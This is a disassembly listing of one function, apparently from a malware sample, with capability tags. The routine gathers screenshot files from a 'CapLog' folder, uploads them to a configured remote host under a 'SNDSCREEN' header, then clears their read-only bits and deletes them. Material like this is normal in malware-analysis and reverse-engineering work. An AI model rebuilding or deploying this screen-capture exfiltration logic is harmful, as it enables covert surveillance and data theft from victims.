Function at 0x4140d0
Capabilities:
Delete file
Get file attributes
Get number of processors
Set file attributes

Disassembly:
push 0xffffffffffffffff
mov eax, dword fs:[0]
push 0x431bf2
push eax
mov eax, 0x11e8
mov dword fs:[0], esp
call fcn.0041c1e0
push ebx
push ebp
push esi
push edi
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0xe8]
push 0x104
rep stosd dword es:[edi], eax
lea eax, [esp + 0xec]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 0xe8]
push 0x5c
push ecx
call fcn.0041bd80
mov byte [eax + 1], 0
mov edi, str.CapLogcapsrc.jpg
or ecx, 0xffffffff
xor eax, eax
add esp, 8
lea edx, [esp + 0xe8]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x28]
call fcn.0041ab80
lea eax, [esp + 0xe8]
push 0
push eax
lea ecx, [esp + 0x30]
mov dword [esp + 0x1208], 0
call fcn.0041ac43
test eax, eax
je 0x414476
mov ebx, 1
lea ecx, [esp + 0x28]
call fcn.0041ae63
lea ecx, [esp + 0x10]
mov ebp, eax
push ecx
lea ecx, [esp + 0x2c]
call fcn.0041b05b
mov edx, dword [esp + 0x10]
push 0x43cb34
push edx
mov byte [esp + 0x1208], bl
call fcn.0041bda7
add esp, 8
test eax, eax
je 0x414438
mov eax, dword [esp + 0x10]
push 0x43cb30
push eax
call fcn.0041bda7
add esp, 8
test eax, eax
je 0x414438
mov ecx, dword [esp + 0x10]
push 0x441314
push ecx
call fcn.0041bda7
add esp, 8
test eax, eax
je 0x414438
lea edx, [esp + 0x24]
lea ecx, [esp + 0x28]
push edx
call fcn.0041afca
push eax
lea ecx, [esp + 0x14]
mov byte [esp + 0x1204], 2
call fcn.004289df
lea ecx, [esp + 0x24]
mov byte [esp + 0x1200], bl
call fcn.004288f2
push 0x43cb2c
lea ecx, [esp + 0x14]
call fcn.0042780b
lea ecx, [esp + 0x28]
call fcn.0041b0ba
cmp eax, 0x400
jae 0x4142de
lea eax, [esp + 0x1c]
lea ecx, [esp + 0x28]
push eax
call fcn.0041af32
mov esi, dword [eax]
lea ecx, [esp + 0x20]
push ecx
lea ecx, [esp + 0x2c]
mov byte [esp + 0x1204], 3
call fcn.0041af32
mov edi, dword [eax]
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
and al, 0xfe
push eax
push edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea ecx, [esp + 0x20]
call fcn.004288f2
lea ecx, [esp + 0x1c]
mov byte [esp + 0x1200], bl
call fcn.004288f2
lea edx, [esp + 0x18]
lea ecx, [esp + 0x28]
push edx
call fcn.0041af32
mov eax, dword [eax]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea ecx, [esp + 0x18]
call fcn.004288f2
test ebp, ebp
mov byte [esp + 0x1200], 0
lea ecx, [esp + 0x10]
je 0x414471
jmp 0x414444
push 0xffffffffffffffff
push 0
lea ecx, [esp + 0x1f4]
call fcn.00416d40
mov eax, dword [0x4413dc]
xor ecx, ecx
push 2
mov byte [esp + 0x1204], 4
mov cx, word [eax + 6]
mov edx, dword [eax + 2]
push ecx
push edx
lea ecx, [esp + 0x1f8]
call fcn.00416d90
test eax, eax
je 0x414452
mov ecx, 0xe
xor eax, eax
lea edi, [esp + 0x48]
lea edx, [esp + 0x48]
rep stosd dword es:[edi], eax
mov edi, str.SNDSCREEN
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x1e
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x60]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [0x4413dc]
add ecx, 0x14
push ecx
push edx
call fcn.0041bf00
add esp, 0xc
lea eax, [esp + 0x10]
lea ecx, [esp + 0x14]
push eax
call fcn.00428667
mov ecx, dword [esp + 0x14]
lea edx, [esp + 0x48]
push 0x38
push edx
mov eax, dword [ecx - 8]
lea ecx, [esp + 0x1f4]
mov byte [esp + 0x1208], 5
mov dword [esp + 0x84], eax
call fcn.00416ff0
cmp eax, 0x38
jne 0x414414
mov eax, dword [esp + 0x14]
lea ecx, [esp + 0x1ec]
mov esi, dword [eax - 8]
push esi
push eax
call fcn.00416ff0
cmp eax, esi
jne 0x414414
mov ecx, 0x19
xor eax, eax
lea edi, [esp + 0x80]
push 0x65
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
lea eax, [esp + 0x84]
lea ecx, [esp + 0x1f0]
push eax
call fcn.00416f60
cmp eax, 0x65
jne 0x414414
cmp byte [esp + 0x80], 0x64
jne 0x414414
push ebx
push ebx
push ecx
mov ecx, esp
mov dword [esp + 0x50], esp
push ecx
lea ecx, [esp + 0x38]
call fcn.0041af32
lea edx, [esp + 0x1f8]
push edx
call fcn.00411290
add esp, 0x10
lea ecx, [esp + 0x14]
mov byte [esp + 0x1200], 4
call fcn.004288f2
lea ecx, [esp + 0x1ec]
mov byte [esp + 0x1200], bl
call fcn.00416d60
mov byte [esp + 0x1200], 0
lea ecx, [esp + 0x10]
call fcn.004288f2
test ebp, ebp
je 0x414476
jmp 0x414193
lea ecx, [esp + 0x1ec]
mov byte [esp + 0x1200], bl
call fcn.00416d60
mov byte [esp + 0x1200], 0
lea ecx, [esp + 0x10]
call fcn.004288f2
lea ecx, [esp + 0x28]
mov dword [esp + 0x1200], 0xffffffff
call fcn.0041abbd
mov ecx, dword [esp + 0x11f8]
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
pop ebx
add esp, 0x11f4
ret